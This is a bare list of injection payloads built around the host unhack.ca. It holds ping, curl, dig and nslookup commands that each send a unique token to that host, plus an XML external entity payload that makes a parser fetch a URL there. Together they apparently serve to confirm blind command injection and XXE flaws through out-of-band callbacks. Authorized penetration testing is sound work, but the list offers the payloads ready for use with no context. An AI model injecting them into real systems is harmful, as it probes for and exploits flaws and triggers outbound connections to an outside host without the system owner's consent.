$ ping -c1 -p 00cc435f88d19caa1210ff1706ace500 unhack.ca
$ curl http://unhack.ca/p/cc435f88d19caa1210ff1706ace5
$ dig cc435f88d19caa1210ff1706ace5 @unhack.ca
$ dig cc435f88d19caa1210ff1706ace5.ns.unhack.ca
C:\> nslookup cc435f88d19caa1210ff1706ace5 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/cc435f88d19caa1210ff1706ace5">]> <foo>&xxe;</foo>